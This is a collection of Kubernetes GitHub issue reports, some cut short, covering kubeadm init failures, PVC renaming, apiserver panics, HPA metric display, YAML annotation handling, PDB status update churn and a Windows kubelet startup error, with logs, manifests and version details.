manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r  init  this often takes around a minute; or longer if the control plane images have to be pulled.\r \r unfortunately, an error has occurred:\r \ttimed out waiting for the condition\r \r this error is likely caused by that:\r \t- the kubelet is not running\r \t- the kubelet is unhealthy due to a misconfiguration of the node in some way  required cgroups disabled \r \t- there is no internet connection; so the kubelet can't pull the following control plane images:\r \t\t- gcr.io/google_containers/kube-apiserver-amd64:v1.8.2\r \t\t- gcr.io/google_containers/kube-controller-manager-amd64:v1.8.2\r \t\t- gcr.io/google_containers/kube-scheduler-amd64:v1.8.2\r \r you can troubleshoot this for example with the following commands if you're on a systemd-powered system:\r \t- 'systemctl status kubelet'\r \t- 'journalctl -xeu kubelet'\r couldn't initialize a kubernetes cluster\r    \r \r    \r   journalctl -xeu kubelet\r nov 01 17:03:44 uy05-13 kubelet 6504 : w1101 05:03:44.705009    6504 cni.go:196  unable to update cni config: no networks found in /etc/cni/net.d\r nov 01 17:03:44 uy05-13 kubelet 6504 : e1101 05:03:44.705250    6504 kubelet.go:2095  container runtime network not ready: networkready=false reason:networkpluginnotready message\r nov 01 17:03:45 uy05-13 kubelet 6504 : e1101 05:03:45.218024    6504 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://1\r nov 01 17:03:45 uy05-13 kubelet 6504 : e1101 05:03:45.218767    6504 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:413: failed to list  v1.service: get https://122.1\r nov 01 17:03:45 uy05-13 kubelet 6504 : e1101 05:03:45.219872    6504 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:422: failed to list  v1.node: get https://122.14.2\r nov 01 17:03:46 uy05-13 kubelet 6504 : e1101 05:03:46.218859    6504 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://1\r nov 01 17:03:46 uy05-13 kubelet 6504 : e1101 05:03:46.219898    6504 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:413: failed to list  v1.service: get https://122.1\r nov 01 17:03:46 uy05-13 kubelet 6504 : e1101 05:03:46.221100    6504 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:422: failed to list  v1.node: get https://122.14.2\r nov 01 17:03:46 uy05-13 kubelet 6504 : e1101 05:03:46.959754    6504 event.go:209  unable to write event: 'patch https://122.14.206.195:6443/api/v1/namespaces/default/events/uy05\r nov 01 17:03:46 uy05-13 kubelet 6504 : e1101 05:03:46.959791    6504 event.go:144  unable to write event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.ob\r nov 01 17:03:46 uy05-13 kubelet 6504 : e1101 05:03:46.960729    6504 event.go:209  unable to write event: 'patch https://122.14.206.195:6443/api/v1/namespaces/default/events/uy05\r nov 01 17:03:47 uy05-13 kubelet 6504 : e1101 05:03:47.219635    6504 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://1\r nov 01 17:03:47 uy05-13 kubelet 6504 : e1101 05:03:47.220689    6504 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:413: failed to list  v1.service: get https://122.1\r nov 01 17:03:47 uy05-13 kubelet 6504 : e1101 05:03:47.221879    6504 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:422: failed to list  v1.node: get https://122.14.2\r    \r \r i installed kubernetes-cni by deb package:\r \r    \r   dpkg -i kubernetes-cni_0.5.1-00_amd64.deb\r

 \r   what happened  :\r after deleting a statefulset, it's not possible to rename a dynamically created pvc.\r \r   what you expected to happen  :\r after deleting a statefulset, it is possible to rename a dynamically created pvc.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a statefulset with one replica,\r 2. make some state, e.g. write some data to disk, from within the replica,\r 3. try to rename the pvc... oops, it's not possible  at least respective instructions are nowhere to be found \r \r   anything else we need to know?  :\r \r i was running elasticsearch sts with 2 replicas. suddenly one of the replicas hit its pvc disk quota limit. in order to increase the disk, i want to create a bigger disk and move the data there. i'm following this backup/restore procedure:\r \r 1. scale down my statefulset  comprising of 2 replicas ,\r 2. create two new bigger pvcs,\r 3. for every existing smaller pvc:\r     1. create a job,\r     2. attach one small pvc and one big pvc to it,\r     3. move  /data  folder from smaller pvc to bigger pvc,\r     4. delete smaller pvc,\r     5. rename bigger pvc to the name of the smaller pvc.\r 4. scale up my statefulset.\r \r without the ability to rename pvc, i either:\r 1. wait for gke to enable kubernetes 1.9, migrate my production cluster to it, and resize the pvc – all thanks to a respective new admission plugin https://github.com/kubernetes/kubernetes/pull/55815,\r 2. workaround, by copying the  /data  folder twice, e.g. split item 5 above into two, e.g.:\r     1. delete smaller pvc,\r     2. create another big pvc with the same name as smaller pvc,\r     3. move data from big temp pvc to this new bigger pvc with correct name\r     4. delete big temp pvc.\r \r it would be much easier if i could just rename pvc.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r        \r     kubectl version\r     client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t21:11:08z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.6-gke.0\ , gitcommit:\ ee9a97661f14ee0b1ca31d6edd30480c89347c79\ , gittreestate:\ clean\ , builddate:\ 2018-01-05t03:36:42z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r        \r \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : \r \r        \r     build_id=10032.71.0\r     name=\ container-optimized os\ \r     kernel_commit_id=c4c6234ae4f384ce00819c41b48ca8f6f1fa3ba8\r     google_crash_id=lakitu\r     version_id=63\r     bug_report_url=https://crbug.com/new\r     pretty_name=\ container-optimized os from google\ \r     version=63\r     google_metrics_product_id=26\r     home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r     id=cos\r        \r \r - kernel  e.g.  uname -a  :\r \r        \r     linux gke-preprod-api-application-workloads-edc114ec-bbw9 4.4.86+  1 smp thu dec 7 20:11:11 pst 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r        \r \r - install tools: -\r - others: -\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r when deploying a  rook.io/v1alpha1  crd the kube-apiserver  run from gcr.io/google_containers/hyperkube:v1.9.2  panics with  fatal error: concurrent map writes .\r \r   what you expected to happen  :\r when deploying a crd to the cluster, the kube-apiserver does not panic and updates the map appropriately.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - start the kupe-apiserver as a daemonset using https://pastebin.com/gvl5hus0\r - deploy rook-operator with helm using the commands  \r   helm repo add rook-alpha https://charts.rook.io/alpha \r   helm install rook-alpha/rook --name rook --namespace rook \r - install the attached pod, cluster crd, pool crd and storageclass: https://pastebin.com/a1gjjmkb\r \r   anything else we need to know?  :\r we deployed a different version of the cluster crd that did not cause a panic. please find the diff attached: https://pastebin.com/6l9vtccq\r logs and backtrace:  kube-apiserver.log  https://github.com/kubernetes/kubernetes/files/1702548/kube-apiserver.log \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t20:00:41z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration: packet\r - os  e.g. from /etc/os-release : \r    name=\ container linux by coreos\ \r id=coreos\r version=1632.2.1\r version_id=1632.2.1\r build_id=2018-02-01-2053\r pretty_name=\ container linux by coreos 1632.2.1  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\  \r - kernel  e.g.  uname -a  : \r    linux master1 4.14.16-coreos  1 smp thu feb 1 20:38:35 utc 2018 x86_64 intel r  atom tm  cpu c2550 @ 2.40ghz genuineintel gnu/linux \r - install tools: matchbox / bootkube\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r when i run cluster-e2e ref the doc  end-to-end testing in kubernetes  https://github.com/kubernetes/community/blob/master/contributors/devel/e2e-tests.md , and run node-e2e ref the doc  node end-to-end tests  https://github.com/kubernetes/community/blob/master/contributors/devel/e2e-node-tests.md .\r there are four cases witch both running in cluster-e2e test and node-e2e test. but they fail in cluster-e2e test and pass in node-e2e test.\r    \r  fail   sig-storage  configmap  it  should be consumable from pods in volume with mappings as non-root   conformance  \r /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2197\r \r  fail   sig-storage  projected  it  should be consumable from pods in volume with mappings as non-root  conformance  \r /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2197\r \r  fail   sig-network  networking granular checks: pods  it  should function for intra-pod communication: http   conformance  \r /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:227\r \r  fail   sig-network  networking granular checks: pods  it  should function for intra-pod communication: udp   conformance \r /home/lcf/goproject/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:227\r    \r i find that in node-e2e test, pod can communicate with each other normally, but not in cluster-e2e, i wonder if there some difference of network between the node-e2e test and cluster-e2e test.\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : v1.9.2\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : my centos, my docker-ce-17.06\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   although also maybe bit of a usability feature \r \r   what happened  :\r i created an ingress rule in a yaml file with a couple of annotations, one of the annotations had the value  yes . kubernetes accepted the resource but a check with  kubectl get ingress my-ingress-rule -o yaml  showed none of the annotations.\r \r it turns out that yaml sees the string  yes  as a boolean and it seems that while annotations should be a string value, kubectl/kube-api silently accepts invalid annotations without showing any error and  also  discards any other valid annotations\r \r   what you expected to happen  :\r i'd expect kubectl or kube-api to complain about malformed annotations.\r \r   how to reproduce it  as minimally and precisely as possible   :\r with the following yaml file called  test.yml :\r    yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: my-ingress-rule\r   annotations:\r     ingress.kubernetes.io/rewrite-target: /\r     test.com/foo: yes\r spec:\r   rules:\r   - host: my-service.com\r     http:\r       paths:\r       - path: /\r         backend:\r           servicename: my-service\r           serviceport: 80\r    \r run\r    bash\r kubectl apply -f test.yml && kubectl get ingress my-ingress-rule -o yaml && kubectl delete -f test.yml\r    \r \r note that the annotations are not present.\r \r   anything else we need to know?  :\r \r   environment  :\r tested on minikube  k8s 1.9  and a cluster on aws provisioned by kops  k8s 1.8 \r \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:54z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2018-01-26t19:04:38z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:54z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r minikube and aws/kops\r - os  e.g. from /etc/os-release :\r centos for the aws cluster\r - kernel  e.g.  uname -a  :\r 3.10.0-693.11.6.el7.x86_64\r - install tools:\r kops\r - others:\r n/a afaict

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r \r hpa status displays  132500m / 500  in a situation when the actual metric value is lower then  100/500   according to the prometheus .  \r \r    \r $ kubectl get hpa -n frontend --context testing\r name       reference              targets                               minpods   maxpods   replicas   age\r frontend   deployment/streaming   50237440 / 629145600, 132500m / 500   2         5         2          4d\r    \r hpa manifest is:\r \r    \r ---\r apiversion: autoscaling/v2beta1\r kind: horizontalpodautoscaler\r metadata:\r   name: frontend\r   namespace: streaming\r spec:\r   scaletargetref:\r     apiversion: apps/v1\r     kind: deployment\r     name: streaming\r   minreplicas: 2\r   maxreplicas: 5\r   metrics:\r   - type: pods\r     pods:\r       metricname: redis_memory_used_rss_bytes\r       targetaveragevalue: 629145600\r   - type: pods\r     pods:\r       metricname: redis_db_keys\r       targetaveragevalue: 500\r    \r \r   what you expected to happen  :\r \r it should print normal results, like:\r \r    \r $ kubectl get hpa -n streaming --context streaming-eu\r name       reference              targets                               minpods   maxpods   replicas   age\r frontend   deployment/streaming   50237440 / 629145600, 87 / 500   2         5         2          4d\r    \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r use  oliver006/redis_exporter  https://github.com/oliver006/redis_exporter  and it's metrics as a custom  pod  metrics with hpa.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.4-gke.1\ , gitcommit:\ 10e47a740d0036a4964280bd663c8500da58e3aa\ , gittreestate:\ clean\ , builddate:\ 2018-03-13t18:00:36z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r gke 1.9.4\r \r - os  e.g. from /etc/os-release :\r \r cos\r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r \r  \r >  \r \r   what happened  :\r \r    \r root@gyliu-ubuntu-1:~/multicluster  kubectl config set-credentials --help\r sets a user entry in kubeconfig\r \r specifying a name that already exists will merge new fields on top of existing values.\r \r   client-certificate flags:\r   --client-certificate=certfile --client-key=keyfile\r \r   bearer token flags:\r     --token=bearer_token\r \r   basic auth flags:\r     --username=basic_user --password=basic_password\r \r bearer token and basic auth are mutually exclusive.\r \r examples:\r     set only the \ client-key\  field on the \ cluster-admin\ \r     entry, without touching other values:\r   kubectl config set-credentials cluster-admin --client-key=~/.kube/admin.key\r \r     set basic auth for the \ cluster-admin\  entry\r   kubectl config set-credentials cluster-admin --username=admin --password=uxfgweu9l35qcif\r \r     embed client certificate data in the \ cluster-admin\  entry\r   kubectl config set-credentials cluster-admin --client-certificate=~/.kube/admin.crt --embed-certs=true\r \r     enable the google compute platform auth provider for the \ cluster-admin\  entry\r   kubectl config set-credentials cluster-admin --auth-provider=gcp\r \r     enable the openid connect auth provider for the \ cluster-admin\  entry with additional args\r   kubectl config set-credentials cluster-admin --auth-provider=oidc --auth-provider-arg=client-id=foo\r --auth-provider-arg=client-secret=bar\r \r     remove the \ client-secret\  config value for the openid connect auth provider for the \ cluster-admin\  entry\r   kubectl config set-credentials cluster-admin --auth-provider=oidc --auth-provider-arg=client-secret-\r \r options:\r       --auth-provider='': auth provider for the user entry in kubeconfig\r       --auth-provider-arg=  : 'key=value' arguments for the auth provider\r       --client-certificate='': path to client-certificate file for the user entry in kubeconfig\r       --client-key='': path to client-key file for the user entry in kubeconfig\r       --embed-certs=false: embed client cert/key for the user entry in kubeconfig\r       --password='': password for the user entry in kubeconfig\r       --token='': token for the user entry in kubeconfig\r       --username='': username for the user entry in kubeconfig\r \r usage:\r   kubectl config set-credentials name  --client-certificate=path/to/certfile   --client-key=path/to/keyfile \r  --token=bearer_token   --username=basic_user   --password=basic_password   --auth-provider=provider_name \r  --auth-provider-arg=key=value   options \r \r use \ kubectl options\  for a list of global command-line options  applies to all commands .\r    \r \r from above, we can see i have to use file name for certificate and key.\r    \r --client-certificate='': path to client-certificate file for the user entry in kubeconfig\r --client-key='': path to client-key file for the user entry in kubeconfig\r    \r \r if i want to use content string of the certificate and key, i have to update  $home/.kube/config  manually by changing  client-certificate  to  client-certificate-data , and change  client-key  to  client-key-data .\r \r    \r apiversion: v1\r clusters:\r - cluster:\r     insecure-skip-tls-verify: true\r     server: https://9.111.255.21:8001\r   name: myistio.icp\r contexts:\r - context:\r     cluster: myistio.icp\r     namespace: default\r     user: admin\r   name: myistio.icp-context\r current-context: myistio.icp-context\r kind: config\r preferences: {}\r users:\r - name: admin\r   user:\r     as-user-extra: {}\r     client-certificate-data: <xxxx>\r     client-key-data: <xxxx>\r    \r \r 

per the  etcd ops guide  https://coreos.com/etcd/docs/latest/op-guide/failures.html majority-failure : \ once a majority of members works, the etcd cluster elects a new leader automatically and returns to a healthy state. the new leader extends timeouts automatically for all leases. this mechanism ensures no lease expires due to server side unavailability.\ \r \r for events, if leader elections occur more often than the event-ttl  which defaults to 1hr , event leases will be renewed indefinitely and the number of events stored in etcd  and the number of open leases  will grow until either the etcd storage space limit is exceeded or some other limit is hit  e.g. lease count results in excessively expensive revoke operations .\r \r 1. add an option to etcd lease creation to disable auto-renewal, and use this option to disable auto-renewal of event leases created by k8s\r 2. add a remediation routine  in kube-apiserver?  to remove old events  feels like an ugly hack \r 3. transition to a different approach of expiring events in k8s  gc? \r \r we're currently considering  1  as a short term fix for this issue.\r \r @gyuho, @xiang90 do you have data or intuition about how often leader elections typically occur? or is this too dependent on the environment to say?\r \r cc @wenjiaswe @wojtek-t @mborsz

this test has been failing since 10/13.\r \r dashboard: https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-master-scale-correctness\r \r sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/167\r \r this test failure will block 1.13 beta  being in the  sig-release-master-blocking group  https://k8s-testgrid.appspot.com/sig-release-master-blocking   so please let's fix it before then. thanks!\r \r   /

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r there are too many pdb update operations compared with other resources.\r ! image  https://user-images.githubusercontent.com/11936090/52943840-fd609b80-33a8-11e9-880a-308e7de12638.png \r that is, there are many \ put\  operations for pdb periodically in kube-apiserver log.\r    \r i0212 20:35:05.923317   10957 wrap.go:42  put /apis/policy/v1beta1/namespaces/<namespace>/poddisruptionbudgets/<name>/status:  2.618059ms  200 \r ...\r    \r \r in my view, the amount of pdb operations  is connected with disruption controller's resyncperiod and pdb's quantity in cluster. \r \r for example:\r \r disruption-controlle's default resyncperiod is 30s,  and there are 100 pdbs in cluster.\r \r we can find that the update operation times per minute is  about  200.\r \r the data is reasonable, explanation is as follows: \r \r according to disruption-controlle's design, there is one  resync every 30s.  one resync means to call updatepdbstatus function for every pdb, so there are 200 times updatepdbstatus.  \r \r function updatepdbstatus  judges whether the pdb is changed. if changed, call  apiserver to update the pdb' status.\r \r    \r func  dc  disruptioncontroller  updatepdbstatus pdb  policy.poddisruptionbudget, currenthealthy, desiredhealthy, expectedcount int32, disruptedpods map string metav1.time  error {\r ...\r if pdb.status.currenthealthy == currenthealthy &&\r \t\tpdb.status.desiredhealthy == desiredhealthy &&\r \t\tpdb.status.expectedpods == expectedcount &&\r \t\tpdb.status.poddisruptionsallowed == disruptionsallowed &&\r \t\treflect.deepequal pdb.status.disruptedpods, disruptedpods  &&\r \t\tpdb.status.observedgeneration == pdb.generation {\r \t\treturn nil\r \t}\r ...\r }\r    \r when no eviction happens,  disruptedpods is empty.  in this situation,  disruptedpods is an empty map, but pdb.status.disruptedpods is nil, empty map is not equal to nil.\r so reflect.deepequal pdb.status.disruptedpods, disruptedpods  returns false.\r \r the pdb is thought to has be changed,  then apiserver is called to update the pdb' status.  in fact, there is no change for the pdb when disruptedpods is an empty map and pdb.status.disruptedpods is nil.\r \r   what you expected to happen  :\r there shouldn't be so many pdb update operations. that is, when pdb has no change,  apiserver shouldn't be called to update its status.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create some pdbs in cluster,  you will see many \ put\  operations for pdb periodically in kube-apiserver log.\r \r   anything else we need to know?  :\r \r   environment  :\r kubernetes v1.13.2\r \r   fix suggestions  :\r the bug is caused by the mixed usage of empty and  nil for disruptedpods,  the type of which is map string metav1.time. there are two fix suggestions for it:\r \r 1. choose one of empty map and  nil for disruptedpods, use it consistently and refuse to mix empty map and  nil. for example,  when disruptedpods is empty or nil, save it as an empty map in etcd.  then every client gets pdb from etcd, the pdb.status.disruptedpods is an empty map.  \r \r 1. after get pdb for etcd,  assign an empty map to it if pdb.status.disruptedpods  is nil. \r \r maybe the mixed usage of  empty and nil for map is a common problem in k8s design, not just for disruptedpods. i will propose a work around solution for the problem.\r \r if the solution has any problem, please let me know and i can modify the code.

what happened  :\r \r i replaced the kubelet on one of my 1.14 nodes with a build from master, and now i'm getting this error starting up.\r \r test passes since 5/31/2019 commit b7fa33ec1 have been failing on testgrid. if you look at the logs, the windows nodes are not coming up. https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-aks-engine-azure-master-windows/1134583855047512068\r \r    \r f0602 02:35:46.663366   12224 server.go:179  failed to create listener for podresources endpoint: parse npipe://%5cvar%5clib%5ckubelet%5cpod-resources//./pipe/kubelet: invalid url escape \ %5c\ \r goroutine 156  running :\r k8s.io/kubernetes/vendor/k8s.io/klog.stacks 0x72b9d01, 0x3, 0xc00041c280, 0xc1 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:900 +0xb8\r k8s.io/kubernetes/vendor/k8s.io/klog.  loggingt .output 0x72b9d80, 0xc000000003, 0xc0003b6b60, 0x71c6d2d, 0x9, 0xb3, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:815 +0xed\r k8s.io/kubernetes/vendor/k8s.io/klog.  loggingt .printf 0x72b9d80, 0x3, 0x40f4965, 0x37, 0xc000a4bea0, 0x1, 0x1 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:727 +0x155\r k8s.io/kubernetes/vendor/k8s.io/klog.fatalf ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/klog/klog.go:1309\r k8s.io/kubernetes/pkg/kubelet/server.listenandservepodresources 0xc0002a9740, 0x3e, 0x9a1abb0, 0xc000289300, 0x9a1abd0, 0xc00078d320 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/server/server.go:179 +0x175\r k8s.io/kubernetes/pkg/kubelet.  kubelet .listenandservepodresources 0xc0002c0900 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:2216 +0x220\r created by k8s.io/kubernetes/cmd/kubelet/app.startkubelet\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:1103 +0x123\r \r    \r \r   what you expected to happen  :\r no errors starting up kubelet\r \r   how to reproduce it  as minimally and precisely as possible   :\r build master, then try to run the kubelet on windows\r \r   anything else we need to know?  :\r \r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: azure\r - os  e.g:  cat /etc/os-release  : windows server 2019\r - kernel  e.g.  uname -a  : 10.0.17763.529\r - install tools: aks-engine\r

as noted here: https://github.com/openshift/origin/issues/8213  attempting to create the following hpa:      yml apiversion: autoscaling/v1 kind: horizontalpodautoscaler metadata:   name: test-autoscaler  spec:   scaleref:     kind: deploymentconfig      name: frontend      apiversion: v1   minreplicas: 1    maxreplicas: 10        we get the following error:      sh $ kubectl create -f hpa.yaml kubectl create --validate=false -f hpa.yaml the horizontalpodautoscaler \ test-autoscaler\  is invalid.    spec.scaleref.kind: required value   spec.scaleref.name: required value      this doesn't make sense as the values that seem to be missing in fact are in the yaml -- the issue is that  scaleref  is the name of the reference in the  extensions/v1beta1  groupversion, whereas  scaletargetref  is the name in  autoscaling/v1 .  attempting  kubectl edit  and making any change to the hpa will result in:      $ kubectl edit hpa test-autoscaler error: apiversion should not be changed      even if no changes to  apiversion  field were made  furthermore, when exporting using  kubectl get -o yaml , the groupversion emitted is  extensions/v1beta1  even if the hpa was originally created as  autoscaling/v1  - this may be the desired behavior but it is suprising nonetheless.      $ kubectl version client version: version.info{major:\ 1\ , minor:\ 1+\ , gitversion:\ v1.1.0-alpha.0.1588+e44c8e6661c931\ , gitcommit:\ e44c8e6661c931f7fd434911b0d3bca140e1df3a\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0-36-g4a3f9c5\ , gitcommit:\ 4c91857\ , gittreestate:\ not a git tree\ }      /cc @liggitt @directxman12

my cluster is version 1.2.4. i have this pods object created just now, by my job object. the annotation key  kubernetes.io/created-by  has the value:      json {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ job\ ,\ namespace\ :\ default\ ,\ name\ :\ pi\ ,\ uid\ :\ 5ef034e0-1890-11e6-8935-42010af0003e\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 427339\ }}      the problem is that  apiversion  is just  extensions , not  extensions/v1beta1 , or  batch/v1 , as i might have expected.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubelet-serial-gce-e2e-ci/489/  failed:  k8s.io  memoryeviction  slow   serial   disruptive  when there is memory pressure should evict pods in the correct order  besteffort first, then burstable, then guaranteed  {e2enode suite}      /var/lib/jenkins/workspace/kubelet-serial-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/memory_eviction_test.go:163 expected error:     < errors.errorstring | 0xc8200bdad0>: {         s: \ pod ran to completion\ ,     }     pod ran to completion not to have occurred /var/lib/jenkins/workspace/kubelet-serial-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:57      previous issues for this test:  31582

